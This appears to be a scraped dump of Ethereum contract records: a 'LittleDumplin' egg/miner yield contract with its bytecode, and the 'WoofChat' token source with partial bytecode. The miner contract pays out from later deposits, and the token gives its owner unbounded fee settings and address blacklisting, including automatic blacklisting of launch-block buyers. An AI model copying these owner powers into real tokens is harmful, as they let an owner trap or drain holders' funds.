@dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity 0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract LittleDumplin is Context, Ownable { using SafeMath for uint256; uint256 private EGGS_TO_HATCH_1MINERS = 1080000;//for final version should be seconds in a day uint256 private PSN = 10000; uint256 private PSNH = 5000; uint256 private devFeeVal = 4; bool private initialized = false; address payable private recAdd; mapping (address => uint256) private hatcheryMiners; mapping (address => uint256) private claimedEggs; mapping (address => uint256) private lastHatch; mapping (address => address) private referrals; uint256 private marketEggs; constructor() { recAdd = payable(msg.sender); } function hatchEggs(address ref) public { require(initialized); if(ref == msg.sender) { ref = address(0); } if(referrals[msg.sender] == address(0) && referrals[msg.sender] != msg.sender) { referrals[msg.sender] = ref; } uint256 eggsUsed = getMyEggs(msg.sender); uint256 newMiners = SafeMath.div(eggsUsed,EGGS_TO_HATCH_1MINERS); hatcheryMiners[msg.sender] = SafeMath.add(hatcheryMiners[msg.sender],newMiners); claimedEggs[msg.sender] = 0; lastHatch[msg.sender] = block.timestamp; //send referral eggs claimedEggs[referrals[msg.sender]] = SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,8)); //boost market to nerf miners hoarding marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,5)); } function sellEggs() public { require(initialized); uint256 hasEggs = getMyEggs(msg.sender); uint256 eggValue = calculateEggSell(hasEggs); uint256 fee = devFee(eggValue); claimedEggs[msg.sender] = 0; lastHatch[msg.sender] = block.timestamp; marketEggs = SafeMath.add(marketEggs,hasEggs); recAdd.transfer(fee); payable (msg.sender).transfer(SafeMath.sub(eggValue,fee)); } function beanRewards(address adr) public view returns(uint256) { uint256 hasEggs = getMyEggs(adr); uint256 eggValue = calculateEggSell(hasEggs); return eggValue; } function buyEggs(address ref) public payable { require(initialized); uint256 eggsBought = calculateEggBuy(msg.value,SafeMath.sub(address(this).balance,msg.value)); eggsBought = SafeMath.sub(eggsBought,devFee(eggsBought)); uint256 fee = devFee(msg.value); recAdd.transfer(fee); claimedEggs[msg.sender] = SafeMath.add(claimedEggs[msg.sender],eggsBought); hatchEggs(ref); } function calculateTrade(uint256 rt,uint256 rs, uint256 bs) private view returns(uint256) { return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt))); } function calculateEggSell(uint256 eggs) public view returns(uint256) { return calculateTrade(eggs,marketEggs,address(this).balance); } function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256) { return calculateTrade(eth,contractBalance,marketEggs); } function calculateEggBuySimple(uint256 eth) public view returns(uint256) { return calculateEggBuy(eth,address(this).balance); } function devFee(uint256 amount) private view returns(uint256) { return SafeMath.div(SafeMath.mul(amount,devFeeVal),100); } function seedMarket() public payable onlyOwner { require(marketEggs == 0); initialized = true; marketEggs = 108000000000; } function getBalance() public view returns(uint256) { return address(this).balance; } function getMyMiners(address adr) public view returns(uint256) { return hatcheryMiners[adr]; } function getMyEggs(address adr) public view returns(uint256) { return SafeMath.add(claimedEggs[adr],getEggsSinceLastHatch(adr)); } function getEggsSinceLastHatch(address adr) public view returns(uint256) { uint256 secondsPassed=min(EGGS_TO_HATCH_1MINERS,SafeMath.sub(block.timestamp,lastHatch[adr])); return SafeMath.mul(secondsPassed,hatcheryMiners[adr]); } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } }
0x6080604052600436106100e85760003560e01c8063715018a61161008a578063a507abee11610059578063a507abee14610241578063d7c8843b14610261578063db66386514610281578063f2fde38b1461029457600080fd5b8063715018a6146101c45780637e56fde5146101d95780638da5cb5b146101f95780638e3163271461022157600080fd5b80633955f0fe116100c65780633955f0fe1461014f5780633c5f07cb146101665780633ec862a81461016e5780634b634b061461018e57600080fd5b806312065fe0146100ed57806326fd84221461010f5780632ef6a7431461012f575b600080fd5b3480156100f957600080fd5b50475b6040519081526020015b60405180910390f35b34801561011b57600080fd5b506100fc61012a3660046108f0565b6102b4565b34801561013b57600080fd5b506100fc61014a366004610912565b6102ca565b34801561015b57600080fd5b506101646102fb565b005b6101646103dc565b34801561017a57600080fd5b50610164610189366004610912565b610434565b34801561019a57600080fd5b506100fc6101a9366004610912565b6001600160a01b031660009081526006602052604090205490565b3480156101d057600080fd5b5061016461058f565b3480156101e557600080fd5b506100fc6101f436600461093b565b610603565b34801561020557600080fd5b506000546040516001600160a01b039091168152602001610106565b34801561022d57600080fd5b506100fc61023c36600461093b565b61060f565b34801561024d57600080fd5b506100fc61025c366004610912565b61061e565b34801561026d57600080fd5b506100fc61027c366004610912565b61063f565b61016461028f366004610912565b6106a3565b3480156102a057600080fd5b506101646102af366004610912565b61075c565b60006102c38383600a54610792565b9392505050565b6001600160a01b0381166000908152600760205260408120546102f5906102f08461063f565b6107d2565b92915050565b60055460ff1661030a57600080fd5b6000610315336102ca565b905060006103228261060f565b9050600061032f826107de565b33600090815260076020908152604080832083905560089091529020429055600a5490915061035e90846107d2565b600a556005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561039f573d6000803e3d6000fd5b50336108fc6103ae84846107f6565b6040518115909202916000818181858888f193505050501580156103d6573d6000803e3d6000fd5b50505050565b6000546001600160a01b0316331461040f5760405162461bcd60e51b815260040161040690610954565b60405180910390fd5b600a541561041c57600080fd5b6005805460ff191660011790556419254d3800600a55565b60055460ff1661044357600080fd5b6001600160a01b038116331415610458575060005b336000908152600960205260409020546001600160a01b03161580156104955750336000818152600960205260409020546001600160a01b031614155b156104c35733600090815260096020526040902080546001600160a01b0319166001600160a01b0383161790555b60006104ce336102ca565b905060006104de82600154610802565b336000908152600660205260409020549091506104fb90826107d2565b336000908152600660209081526040808320939093556007808252838320839055600880835284842042905560098352848420546001600160a01b0316845291529190205461054f916102f0908590610802565b336000908152600960209081526040808320546001600160a01b031683526007909152902055600a54610587906102f0846005610802565b600a55505050565b6000546001600160a01b031633146105b95760405162461bcd60e51b815260040161040690610954565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102f582476102b4565b60006102f582600a5447610792565b60008061062a836102ca565b905060006106378261060f565b949350505050565b60008061067c6001546106774260086000886001600160a01b03166001600160a01b03168152602001908152602001600020546107f6565b61080e565b6001600160a01b0384166000908152600660205260409020549091506102c3908290610824565b60055460ff166106b257600080fd5b60006106c23461012a47346107f6565b90506106d6816106d1836107de565b6107f6565b905060006106e3346107de565b60055460405191925061010090046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610723573d6000803e3d6000fd5b503360009081526007602052604090205461073e90836107d2565b3360009081526007602052604090205561075783610434565b505050565b6000546001600160a01b031633146107865760405162461bcd60e51b815260040161040690610954565b61078f81610830565b50565b60006106376107a360025484610824565b6107cd6003546102f06107c76107bb6002548a610824565b6102f06003548c610824565b89610802565b610802565b60006102c3828461099f565b60006102f56107ef83600454610824565b6064610802565b60006102c382846109b7565b60006102c382846109ce565b600081831061081d57816102c3565b5090919050565b60006102c382846109f0565b6001600160a01b0381166108955760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610406565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000806040838503121561090357600080fd5b50508035926020909101359150565b60006020828403121561092457600080fd5b81356001600160a01b03811681146102c357600080fd5b60006020828403121561094d57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082198211156109b2576109b2610989565b500190565b6000828210156109c9576109c9610989565b500390565b6000826109eb57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610a0a57610a0a610989565b50029056fea26469706673582212200aad0c2c22db7d97ffbcb5539d62fb01dea30213638fb9b4ab0749e2db0e1ef764736f6c63430008090033
{"success": true, "error": null, "results": {}}
6,963
0xda56619d68d5830a6112b23eecf92971553c91ff
/** *Submitted for verification at Etherscan.io on 2022-03-29 */ /** https://t.me/WooferToken https://twitter.com/WoofChat Website Coming Soon! WoofChat is the Newest and Upcoming Decentralized Social Media Platform on the Ethereum Blockchain. It’s a platform that aims to provide an inclusive space allowing freedom of speech! Following the success of Dogger, WoofChat is here to develop a Snapchat like platform connecting people worldwide! */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WoofChat is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "WoofChat";// string private constant _symbol = "WOOCH";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 12;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 18;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x4733c67AEd1952559ECf66604Ca3bAFe6ECd2EB0);// address payable private _marketingAddress = payable(0xf476533340b99E60D86Ef4ba4579688D483Ef604);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 800000000 * 10**9; // uint256 public _maxWalletSize = 1600000000 * 10**9; // uint256 public _swapTokensAtAmount = 1000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600881526020017f576f6f6643686174000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffff